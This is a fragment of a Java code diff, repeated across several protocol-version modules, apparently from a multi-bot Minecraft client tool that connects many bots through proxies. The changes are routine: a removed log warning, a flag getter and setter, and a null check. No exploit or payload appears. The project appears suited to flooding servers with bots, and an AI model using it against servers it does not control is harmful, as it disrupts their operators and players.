double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -33,9 +33,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
public void connect(Object c, Proxy proxy) { public void connect(Object c, Proxy proxy) {
TcpClientSession client = (TcpClientSession) c; TcpClientSession client = (TcpClientSession) c;
String userName = BotManager.clientList.get(c); String userName = BotManager.clientList.get(c);
if (ConfigUtil.ForgeSupport) {
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
}
client.addListener(new SessionListener() { client.addListener(new SessionListener() {
@Override @Override
@ -193,9 +190,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
TcpClientSession c = (TcpClientSession) client; TcpClientSession c = (TcpClientSession) client;
c.setFlag(flag, ""); c.setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
TcpClientSession c = (TcpClientSession) client;
return c.getFlag(flag);
} }
@Override @Override

View File

@ -165,6 +165,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
TcpClientSession session = (TcpClientSession) client; TcpClientSession session = (TcpClientSession) client;
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket; ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -30,9 +30,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
public void connect(Object c, Proxy proxy) { public void connect(Object c, Proxy proxy) {
TcpClientSession client = (TcpClientSession) c; TcpClientSession client = (TcpClientSession) c;
String userName = BotManager.clientList.get(c); String userName = BotManager.clientList.get(c);
if (ConfigUtil.ForgeSupport) {
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
}
client.addListener(new SessionListener() { client.addListener(new SessionListener() {
@Override @Override
@ -182,9 +179,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
TcpClientSession c = (TcpClientSession) client; TcpClientSession c = (TcpClientSession) client;
c.setFlag(flag, ""); c.setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
TcpClientSession c = (TcpClientSession) client;
return c.getFlag(flag);
} }
@Override @Override

View File

@ -166,6 +166,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
TcpClientSession session = (TcpClientSession) client; TcpClientSession session = (TcpClientSession) client;
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket; ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -30,9 +30,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
public void connect(Object c, Proxy proxy) { public void connect(Object c, Proxy proxy) {
TcpClientSession client = (TcpClientSession) c; TcpClientSession client = (TcpClientSession) c;
String userName = BotManager.clientList.get(c); String userName = BotManager.clientList.get(c);
if (ConfigUtil.ForgeSupport) {
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
}
client.addListener(new SessionListener() { client.addListener(new SessionListener() {
@Override @Override
@ -182,9 +179,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
TcpClientSession c = (TcpClientSession) client; TcpClientSession c = (TcpClientSession) client;
c.setFlag(flag, ""); c.setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
TcpClientSession c = (TcpClientSession) client;
return c.getFlag(flag);
} }
@Override @Override

View File

@ -167,6 +167,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
TcpClientSession session = (TcpClientSession) client; TcpClientSession session = (TcpClientSession) client;
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket; ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -36,9 +36,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
public void connect(Object c, Proxy proxy) { public void connect(Object c, Proxy proxy) {
TcpClientSession client = (TcpClientSession) c; TcpClientSession client = (TcpClientSession) c;
String userName = BotManager.clientList.get(c); String userName = BotManager.clientList.get(c);
if (ConfigUtil.ForgeSupport) {
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
}
client.addListener(new SessionListener() { client.addListener(new SessionListener() {
@Override @Override
@ -188,9 +185,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
TcpClientSession c = (TcpClientSession) client; TcpClientSession c = (TcpClientSession) client;
c.setFlag(flag, ""); c.setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
TcpClientSession c = (TcpClientSession) client;
return c.getFlag(flag);
} }
@Override @Override

View File

@ -167,6 +167,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
TcpClientSession session = (TcpClientSession) client; TcpClientSession session = (TcpClientSession) client;
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket; ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -36,9 +36,6 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
public void connect(Object c, Proxy proxy) { public void connect(Object c, Proxy proxy) {
TcpClientSession client = (TcpClientSession) c; TcpClientSession client = (TcpClientSession) c;
String userName = BotManager.clientList.get(c); String userName = BotManager.clientList.get(c);
if (ConfigUtil.ForgeSupport) {
LogUtil.doLog(0, "选定的协议库版本无法启用Forge支持。", "ForgeSupport");
}
client.addListener(new SessionListener() { client.addListener(new SessionListener() {
@Override @Override
@ -188,9 +185,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
TcpClientSession c = (TcpClientSession) client; TcpClientSession c = (TcpClientSession) client;
c.setFlag(flag, ""); c.setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
TcpClientSession c = (TcpClientSession) client;
return c.getFlag(flag);
} }
@Override @Override

View File

@ -172,6 +172,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
TcpClientSession session = (TcpClientSession) client; TcpClientSession session = (TcpClientSession) client;
ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket; ClientboundPlayerPositionPacket packet = (ClientboundPlayerPositionPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -160,9 +160,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
Client c = (Client) client; Client c = (Client) client;
c.getSession().setFlag(flag, ""); c.getSession().setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
Client c = (Client) client;
return c.getSession().getFlag(flag);
} }
@Override @Override

View File

@ -195,6 +195,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
Session session = ((Client) client).getSession(); Session session = ((Client) client).getSession();
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -160,9 +160,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
Client c = (Client) client; Client c = (Client) client;
c.getSession().setFlag(flag, ""); c.getSession().setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
Client c = (Client) client;
return c.getSession().getFlag(flag);
} }
@Override @Override

View File

@ -198,6 +198,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
Session session = ((Client) client).getSession(); Session session = ((Client) client).getSession();
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);

View File

@ -160,9 +160,15 @@ public class BotHandler implements cn.serendipityr.EndMinecraftPlusV2.MultipleVe
} }
@Override @Override
public void setClientFlag(Object client, String flag) { public void setClientFlag(Object client, String flag, Object value) {
Client c = (Client) client; Client c = (Client) client;
c.getSession().setFlag(flag, ""); c.getSession().setFlag(flag, value);
}
@Override
public Object getClientFlag(Object client, String flag) {
Client c = (Client) client;
return c.getSession().getFlag(flag);
} }
@Override @Override

View File

@ -181,6 +181,9 @@ public class PacketHandler implements cn.serendipityr.EndMinecraftPlusV2.Multipl
public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) { public void sendPositionPacketFromPacket(Object client, Object recvPacket, boolean random) {
Session session = ((Client) client).getSession(); Session session = ((Client) client).getSession();
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket; ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
if (packet == null) {
return;
}
double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double x = packet.getX() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double y = packet.getY() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);
double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0); double z = packet.getZ() + (random ? OtherUtils.getRandomInt(-10, 10) : 0);